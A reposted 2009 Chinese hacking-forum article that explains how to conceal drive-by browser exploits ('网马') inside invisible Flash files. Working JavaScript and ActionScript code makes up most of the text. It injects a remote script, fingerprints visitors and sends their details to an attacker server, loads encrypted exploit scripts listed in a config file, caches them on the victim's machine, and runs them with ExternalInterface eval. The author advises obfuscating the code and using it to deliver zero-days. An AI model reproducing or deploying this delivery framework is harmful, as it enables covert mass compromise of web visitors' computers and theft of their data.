首页 网络安全 安全学院 查看内容

网马封装----flash极限发挥

2009-7-25 10:58 766 0

摘要: 信息来源:邪恶八进制信息安全团队(www.eviloctal.com)文章作者:ghostwhisper这个题目有点矬,因为确实想不到更好的题目了。先声明下吧,我不会把整套封装工具的代码提供出来,防止...
关键词: nbsp flash function private 代码 var Version import versionRevision configReader

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)文章作者:ghostwhisper这个题目有点矬,因为确实想不到更好的题目了。先声明下吧,我不会把整套封装工具的代码提供出来,防止被乱用,也避免被人骂的狗血喷头。我只讲下大体的框架结构和部分关键代码,懂的人自己去发挥吧,不懂的就当娱乐了。  flash这个DD真的很强大,自从Xcon上有人公布了这个所谓的flash封装网马,哎,我那套东西就不得不改了。不过也好,我就把没改前的东西给大家说说吧。先说下整个架构吧:js引入代码---->flash探针----->网马触发器一.首先,说下flah引入问题。这个确实没什么好谈的,基本上最好的就是js代码引入了,因为要考虑到多浏览器对flash引入代码的不同点,所以要使用js代码进行一下判断。我不愿意去费那心思,因为adobe早就提供了这样好的代码,为啥还要自己写呢?我只要在那些代码后面加上我的引入代码就一切OK了,看下代码吧: // Flash Player Version Detection - Rev 1.6// Detect Client Browser type// Copyright(c) 2005-2006 Adobe Macromedia Software, LLC. All rights reserved.var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;window.status="";function ControlVersion(){        var version;        var axo;        var e;        // NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry        try {                // version will be set for 7.X or greater players                axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");                version = axo.GetVariable("$version");        } catch (e) {        }        if (!version)        {                try {                        // version will be set for 6.X players only                        axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");                                                // installed player is some revision of 6.0                        // GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,                        // so we have to be careful.                                                 // default to the first public version                        version = "WIN 6,0,21,0";                        // throws if AllowScripAccess does not exist (introduced in 6.0r47)                                        axo.AllowScriptAccess = "always";                        // safe to call for 6.0r47 or greater                        version = axo.GetVariable("$version");                } catch (e) {                }        }        if (!version)        {                try {                        // version will be set for 4.X or 5.X player                        axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");                        version = axo.GetVariable("$version");                } catch (e) {                }        }        if (!version)        {                try {                        // version will be set for 3.X player                        axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");                        version = "WIN 3,0,18,0";                } catch (e) {                }        }        if (!version)        {                try {                        // version will be set for 2.X player                        axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");                        version = "WIN 2,0,0,11";                } catch (e) {                        version = -1;                }        }                return version;}// JavaScript helper required to detect Flash Player PlugIn version informationfunction GetSwfVer(){        // NS/Opera version >= 3 check for Flash plugin in plugin array        var flashVer = -1;                if (navigator.plugins != null && navigator.plugins.length > 0) {                if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {                        var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";                        var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;                        var descArray = flashDescription.split(" ");                        var tempArrayMajor = descArray[2].split(".");                                                var versionMajor = tempArrayMajor[0];                        var versionMinor = tempArrayMajor[1];                        var versionRevision = descArray[3];                        if (versionRevision == "") {                                versionRevision = descArray[4];                        }                        if (versionRevision[0] == "d") {                                versionRevision = versionRevision.substring(1);                        } else if (versionRevision[0] == "r") {                                versionRevision = versionRevision.substring(1);                                if (versionRevision.indexOf("d") > 0) {                                        versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));                                }                        } else if (versionRevision[0] == "b") {                                versionRevision = versionRevision.substring(1);                        }                        var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;                }        }        // MSN/WebTV 2.6 supports Flash 4        else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;        // WebTV 2.5 supports Flash 3        else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;        // older WebTV supports Flash 2        else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;        else if ( isIE && isWin && !isOpera ) {                flashVer = ControlVersion();        }        return flashVer;}// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is availablefunction DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision){        versionStr = GetSwfVer();        if (versionStr == -1 ) {                return false;        } else if (versionStr != 0) {                if(isIE && isWin && !isOpera) {                        // Given "WIN 2,0,0,11"                        tempArray         = versionStr.split(" ");         // ["WIN", "2,0,0,11"]                        tempString        = tempArray[1];                        // "2,0,0,11"                        versionArray      = tempString.split(",");        // ['2', '0', '0', '11']                } else {                        versionArray      = versionStr.split(".");                }                var versionMajor      = versionArray[0];                var versionMinor      = versionArray[1];                var versionRevision   = versionArray[2];                // is the major.revision >= requested major.revision AND the minor version >= requested minor                if (versionMajor > parseFloat(reqMajorVer)) {                        return true;                } else if (versionMajor == parseFloat(reqMajorVer)) {                        if (versionMinor > parseFloat(reqMinorVer))                                return true;                        else if (versionMinor == parseFloat(reqMinorVer)) {                                if (versionRevision >= parseFloat(reqRevision))                                        return true;                        }                }                return false;        }}function AC_AddExtension(src, ext){  var qIndex = src.indexOf('?');  if ( qIndex != -1)  {    // Add the extention (if needed) before the query params    var path = src.substring(0, qIndex);    if (path.length >= ext.length && path.lastIndexOf(ext) == (path.length - ext.length))      return src;    else      return src.replace(/\?/, ext+'?');   }  else  {    // Add the extension (if needed) to the end of the URL    if (src.length >= ext.length && src.lastIndexOf(ext) == (src.length - ext.length))      return src;  // Already have extension    else      return src + ext;  }}function AC_Generateobj(objAttrs, params, embedAttrs) {     var str = '';    if (isIE && isWin && !isOpera)    {                  str += '<object ';                  for (var i in objAttrs)                          str += i + '="' + objAttrs[i] + '" ';                  str += '>';                  for (var i in params)                          str += '<param name="' + i + '" value="' + params[i] + '" /> ';                  str += '</object>';    } else {                  str += '<embed ';                  for (var i in embedAttrs)                          str += i + '="' + embedAttrs[i] + '" ';                  str += '> </embed>';    }    //document.write("<textarea>"+str+"</textarea>");    //document.write("abcdefg");    document.write(str);}function AC_FL_RunContent(){  var ret =     AC_GetArgs    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"     , "application/x-shockwave-flash"    );  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);}function AC_GetArgs(args, ext, srcParamName, classid, mimeType){  var ret = new Object();  ret.embedAttrs = new Object();  ret.params = new Object();  ret.objAttrs = new Object();  for (var i=0; i < args.length; i=i+2){    var currArg = args[i].toLowerCase();        switch (currArg){              case "classid":        break;      case "pluginspage":        ret.embedAttrs[args[i]] = args[i+1];        break;      case "src":      case "movie":                args[i+1] = AC_AddExtension(args[i+1], ext);        ret.embedAttrs["src"] = args[i+1];        ret.params[srcParamName] = args[i+1];        break;      case "onafterupdate":      case "onbeforeupdate":      case "onblur":      case "oncellchange":      case "onclick":      case "ondblClick":      case "ondrag":      case "ondragend":      case "ondragenter":      case "ondragleave":      case "ondragover":      case "ondrop":      case "onfinish":      case "onfocus":      case "onhelp":      case "onmousedown":      case "onmouseup":      case "onmouseover":      case "onmousemove":      case "onmouseout":      case "onkeypress":      case "onkeydown":      case "onkeyup":      case "onload":      case "onlosecapture":      case "onpropertychange":      case "onreadystatechange":      case "onrowsdelete":      case "onrowenter":      case "onrowexit":      case "onrowsinserted":      case "onstart":      case "onscroll":      case "onbeforeeditfocus":      case "onactivate":      case "onbeforedeactivate":      case "ondeactivate":      case "type":      case "codebase":        ret.objAttrs[args[i]] = args[i+1];        break;      case "id":      case "width":      case "height":      case "align":      case "vspace":       case "hspace":      case "class":      case "title":      case "accesskey":      case "name":      case "tabindex":        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];        break;      default:        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];    }  }  ret.objAttrs["classid"] = classid;  if (mimeType) ret.embedAttrs["type"] = mimeType;  return ret;}// -----------------------------------------------------------------------------// Major version of Flash requiredvar requiredMajorVersion = 9;// Minor version of Flash requiredvar requiredMinorVersion = 0;// Minor version of Flash requiredvar requiredRevision = 124;// -----------------------------------------------------------------------------哇塞,是不是很长,不用管它了,这个就是adobe提供的原版代码,这么多代码怎么说还能起到一定的迷惑作用的。我们的引入代码只需要在这些代码的下面加上就好了,比如: 代码:>if (hasRequestedVersion) {        // if we've detected an acceptable version        // embed the Flash Content SWF when all tests are passed        AC_FL_RunContent(                        "src", "http://forum.eviloctal.com/logo",                        "width", "0%",                        "height", "0%",                        "align", "middle",                        "id", "detectPlayer",                        "quality", "high",                        "bgcolor", "#869ca7",                        "name", "detectPlayer",                        "allowScriptAccess","always",                        "type", "application/x-shockwave-flash",                        "pluginspage", "http://www.adobe.com/go/getflashplayer"同一        );}else{//如果没安装flash的话就直接引入js网马了,不过这样就很容易暴露的说,所以我一般不会有下面的代码,毕竟没装flash的是少数document.write("<scri"+"pt src=\"http://forum.eviloctal.com/logo.js\"></scri"+"pt>");}注意要将width和hight设置成0。当然也可以直接在flash里加入如下代码: [SWF(width="0",height="0")]以上代码要放在import之后类定义之前。引入代码没什么太多的技术可言,主要是要根据实际情况进行各种形式的变通吧。二.OK!引入有了,下面该flash上场了。我这里用到了两个flash,第一个flash叫logo.swf是一个探针,第二个flash叫watch.swf是网马触发器,它们跟flash引入代码的js文件放在A服务器上,其它的配置文件以及网马代码放在B服务器上。logo.swf文件的主要任务如下:1.判断访问者是否是第一次访问,如果是就将一个唯一标识和访问时间保存至访问者机器上(通过flash的本地共享对象)。2.获取访问者的基本信息(唯一标识,操作系统,IP,浏览器版本,访问时间等等)并回传至B服务器上的recv.php。3.判断系统版本,如果是非win系统就放弃加载watch.swf以及后续的一切。4.如果是win系统,尝试获取网马触发的间隔时间(可以硬编码到swf文件里也可以放到B服务器上,让logo.swf去获取),根据客户机机器上保存的上次访问时间判断是否应再次触发网马。5.如果需要触发网马,则加载watch.swf。这里给出个我写的判断系统的as类代码: package getOS{        import flash.system.Capabilities;                public class GetOS        {                private var os:String;                private var _is2K:Boolean;                private var _isXp:Boolean;                private var _is2K3:Boolean;                private var _isMac:Boolean;                private var _isNix:Boolean;                private var _isWin:Boolean;                                public function GetOS()                {                        this.os = Capabilities.os;                        this._is2K= false;                        this._is2K3 = false;                        this._isMac = false;                        this._isNix = false;                        this._isWin = false;                        this._isXp =false;                }                                public function get isXp():Boolean{                        if(this.os.toLowerCase().indexOf("xp")!=-1)                                this._isXp = true;                        return this._isXp;                }                public function get is2K3():Boolean{                        if(this.os.toLowerCase().indexOf("2003")!=-1)                                this._is2K3 = true;                        return this._isXp;                }                public function get is2K():Boolean{                        if(this.os.toLowerCase().indexOf("2000")!=-1)                                this._is2K = true;                        return this._is2K;                }                public function get isMac():Boolean{                        if(this.os.toLowerCase().indexOf("mac")!=-1)                                this._isMac = true;                        return this._isMac;                }                public function get isWin():Boolean{                        if(this.os.toLowerCase().indexOf("win")!=-1)                                this._isWin = true;                        return this._isWin;                }                public function get isNix():Boolean{                        var tmpstr:String;                        tmpstr = this.os.toLowerCase();                        if(tmpstr.indexOf("win")==-1 && tmpstr.indexOf("mac")==-1)                                this._isNix = true;                        return this._isNix;                                        }        }}这里类代码可以直接打包成swc,以后在什么工程中直接引入进来就可以调用了,如下:                         var os:GetOS = new GetOS();                        if(os.isWin){                        this.loader = new ClassLoader();            loader.addEventListener(ClassLoader.LOAD_ERROR,loadErrorHandler);            loader.addEventListener(ClassLoader.CLASS_LOADED,classLoadedHandler);            loader.load("http://wwww.bbb.com/watch.swf");                        }flash访问网络是非常简单的,上传数据到一个服务端脚本上或者从一个服务器上获取一个页面都可以用URLLoader类来完成,比如获取B服务器上的配置文件config.xml: package configReader{        import flash.events.Event;        import flash.events.EventDispatcher;        import flash.events.IOErrorEvent;        import flash.events.SecurityErrorEvent;        import flash.net.URLLoader;        import flash.net.URLLoaderDataFormat;        import flash.net.URLRequest;        import flash.xml.*;                public class ConfigReader extends EventDispatcher        {                public static const CONGFIG_LOAD_ERROR:String="config_load_error";                public static const CONGFIG_LOAD_SUCCESS:String="config_load_success";                private var ldr:URLLoader;                private var _forIE:Array;                private var _forFF:Array;                private var urlreq:URLRequest;                                public function ConfigReader(filename:String="config.xml")                {                        this.urlreq = new URLRequest(filename);                        this.ldr = new URLLoader();                        this._forFF = new Array();                        this._forIE = new Array();                                        }                public function configLoad():void{                        this.ldr.dataFormat = URLLoaderDataFormat.TEXT;                        this.ldr.addEventListener(Event.COMPLETE,onComplete);                        this.ldr.addEventListener(IOErrorEvent.IO_ERROR,onIOError);                        this.addEventListener(SecurityErrorEvent.SECURITY_ERROR,onSecurityError);                        try{                        this.ldr.load(this.urlreq);                        }catch(error:Error){                                dispatchEvent(new Event(ConfigReader.CONGFIG_LOAD_ERROR));                        }                                }                public function get forIE():Array{                        return this._forIE;                }                public function get forFF():Array{                        return this._forFF;                }                private function onSecurityError(e:SecurityErrorEvent):void{                        dispatchEvent(new Event(ConfigReader.CONGFIG_LOAD_ERROR));                }                private function onIOError(e:IOErrorEvent):void{                        dispatchEvent(new Event(ConfigReader.CONGFIG_LOAD_ERROR));                }                private function onComplete(e:Event):void{                //处理获取的数据                dispatchEvent(new Event(ConfigReader.CONGFIG_LOAD_SUCCESS));                }        }}调用上面的这个configLoader类来加载配置文件: import configReader.ConfigReader;import flash.system.Security;import flash.display.Sprite;import flash.events.Event;import flash.events.IOErrorEvent;import flash.events.SecurityErrorEvent;import flash.net.URLLoader;import flash.net.URLLoaderDataFormat;import flash.net.URLRequest;....private var configldr:ConfigReader;private var urlldr:URLLoader;private var urlreq:URLRequest;....this.urlldr=new URLLoader();this.urlreq=new URLRequest();....this.urlldr.dataFormat=URLLoaderDataFormat.TEXT;this.urlldr.addEventListener(Event.COMPLETE,onComplete);this.urlldr.addEventListener(IOErrorEvent.IO_ERROR,onIOError);this.urlldr.addEventListener(SecurityErrorEvent.SECURITY_ERROR,onSecurityError);this.configldr=new ConfigReader("http://www.bbb.com/config.xml");this.configldr.addEventListener(ConfigReader.CONGFIG_LOAD_SUCCESS,onLoadSuccess);this.configldr.addEventListener(ConfigReader.CONGFIG_LOAD_ERROR,onLoadError);this.configldr.configLoad();....具体的请参看URLLoader类的详细使用方法。三.网马触发器watch.swf1.从当前目录下的watch.xml,获取config.xml文件的url地址。2.判断当前客户机上的共享对象中的exps数组是否为空,如果为空将尝试获取B站上的config.xml的内容,并根据获取到的网马地址按照设定的时间间隔依次加载,然后解密后触发。触发完毕后,将未解密的网马代码保存入客户机上的共享对象里的exps数组中。3.如果exps数组不为空,获取watch.xml里的refresh属性,如果该属性为true,则获取config.xml的内容,并根据获取到的网马地址按照设定的时间间隔依次加载并解密后触发。触发完毕后,将未解密网马代码保存入客户机上的共享对象里的exps数组中。如果refresh属性为false,则直接依次加载exps数组中的网马内容并解密触发。  有些朋友可能要问了,为什么要把网马代码放到访问者的机器上呢。呵呵,怎么说呢,我就是尽力的避免暴露B网站上的东西,而且代码保存在客户机本机上,这样加载执行起来也快。网马触发的关键肯定是调用ExternalInterface.call。但是这个方法有点局限,就是不支持opera而且只能在win系统下和mac系统下可以。当然根据目前的网马状况,全部都是针对windows系统上的IE和Firefox浏览器,所以这点局限暂且可以忽略不计了。flash解析xml文档还是非常方便的,这里贴一个我那套代码里的snippet:                         var configXML:XML=new XML(this.ldr.data);                        var urlNode:XML;                        for each(var urlsNode:XML in configXML.urls){                                if (urlsNode.@target_bo.toString().toLowerCase() == "msie"){                                        for each(urlNode in urlsNode.url){                                                this._forIE.push(urlNode.toString());                                        }                                }else if(urlsNode.@target_bo.toString().toLowerCase() == "ff"){                                        for each(urlNode in urlsNode.url){                                                this._forFF.push(urlNode.toString());                                        }                                }                        }config.xml的内容如下: <?xml version="1.0"?><config><urls target_bo="msie"><url name="06014">http://www.bbb.com/exps/06014.js</url><url name="09002">http://www.bbb.com/exps/09002.js</url><url name="09002">http://www.bbb.com/exps/ie7.js</url></urls></config>另外说下flash跨域访问的问题,具体的技术细节可以去看一下flash的参考,我这里简单说下。A站的FLASH要想访问B站,比需要求在B站根目录下有个crossdomain.xml里或者是在具体的文件夹下放置一个任意命名的xml文件,然后在A站的flash代码里使用Security.loadPolicyFile("http://www.bbb.com/bbb/allowme.xml")加载这个配置文件,只有这样才能顺利访问到B站上的内容。推荐大家直接放一个crossdomain.xml到B站的根目录下,这样A站的FLASH可以直接获取B站上的东西,而不需要调用Security.loadPolictyFile了。crossdomain.xml的内容如下: <?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy>  <allow-access-from domain="aaa.com" secure="false"/></cross-domain-policy>最后把AS代码全部混淆加密就可以放心使用了,即使被反编译过来也很难读懂关键代码。用它包装一下你的0day,呵呵,安全系数高很多哦!虽然我没公布全部代码,但整个思路以及部分相关代码我都公布出来了,有心人自然会知道该怎么去实现。另外PS一下,刀子能杀人,你总不能不让人造刀了。关键还是看使用人。同样,技术公布出来了,怎么用还是看自己了。四.整套系统就是这样的了,当然这个是当初的最初版本,所以难免还有很多东西没考虑到,也肯定会有一些错误在里面。欢迎各位同仁批评指教。本人ghostwhisper,别骂我,小心你晚上睡觉的时候有个幽灵在你耳边低语。。。。。。再补充一下吧,网马内容最好是先加密一下,自己写个加解密的程序就是,加密后放到网上,然后flash加载后解密触发。触发代码类似于这样的: package {        import configReader.ConfigReader;        import flash.system.Security;        import flash.display.Sprite;        import flash.events.Event;        import flash.events.IOErrorEvent;        import flash.events.SecurityErrorEvent;        import flash.events.TimerEvent;        import flash.external.ExternalInterface;        import flash.net.URLLoader;        import flash.net.URLLoaderDataFormat;        import flash.net.URLRequest;        import flash.utils.Timer;                public class Watch extends Sprite        {                private var urls:Array;                private var configldr:ConfigReader;                private var tTimer:Timer;                private var urlldr:URLLoader;                private var urlreq:URLRequest;                                public function Watch()                {                                this.urls=new Array();                        this.urlldr=new URLLoader();                        this.urlreq=new URLRequest();                }                public function startAttack():void{                        this.urlldr.dataFormat=URLLoaderDataFormat.TEXT;                        this.urlldr.addEventListener(Event.COMPLETE,onComplete);                        this.urlldr.addEventListener(IOErrorEvent.IO_ERROR,onIOError);                        this.urlldr.addEventListener(SecurityErrorEvent.SECURITY_ERROR,onSecurityError);                        this.configldr=new ConfigReader("http://www.bbb.com/config.xml");                        this.configldr.addEventListener(ConfigReader.CONGFIG_LOAD_SUCCESS,onLoadSuccess);                        this.configldr.addEventListener(ConfigReader.CONGFIG_LOAD_ERROR,onLoadError);                        this.configldr.configLoad();                }                private function initAttack():void{                        if(this.urls.length == 0)                                return;                        this.tTimer=new Timer(2000,1);                        this.tTimer.addEventListener(TimerEvent.TIMER,onTimer);                        this.tTimer.start();                }                private function onTimer(e:TimerEvent):void{                        this.launchAttack();                }                private function launchAttack():void{                        var url:String;                        var _prefix:String;                        url=this.urls.shift();                        //_prefix=url.substring(0,url.lastIndexOf("/")+1);                        //Security.loadPolicyFile(_prefix+"passport.xml");                        //Security.loadPolicyFile("http://www.bbb.com/swf/exploits/passport.xml");                        this.urlreq.url=url;                        try{                        this.urlldr.load(this.urlreq);                        }catch(e:Error){                        }                }                private function onComplete(e:Event):void{                        ExternalInterface.call("eval",URLLoader(e.target).data);                        if(this.urls.length!=0)                        this.tTimer.start();                }                private function onIOError(e:IOErrorEvent):void{                }                private function onSecurityError(e:SecurityErrorEvent):void{                }                private function onLoadSuccess(e:Event):void{                        var p:String;                        if(this.configldr.forIE.length !=0){                                for each(p in this.configldr.forIE)                                this.urls.push(p);                        }                        if(this.configldr.forFF.length !=0){                                for each(p in this.configldr.forFF)                                this.urls.push(p);                        }                        this.initAttack();                }                private function onLoadError(e:Event):void{                }        }}关键代码了,能看明白的就看吧。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部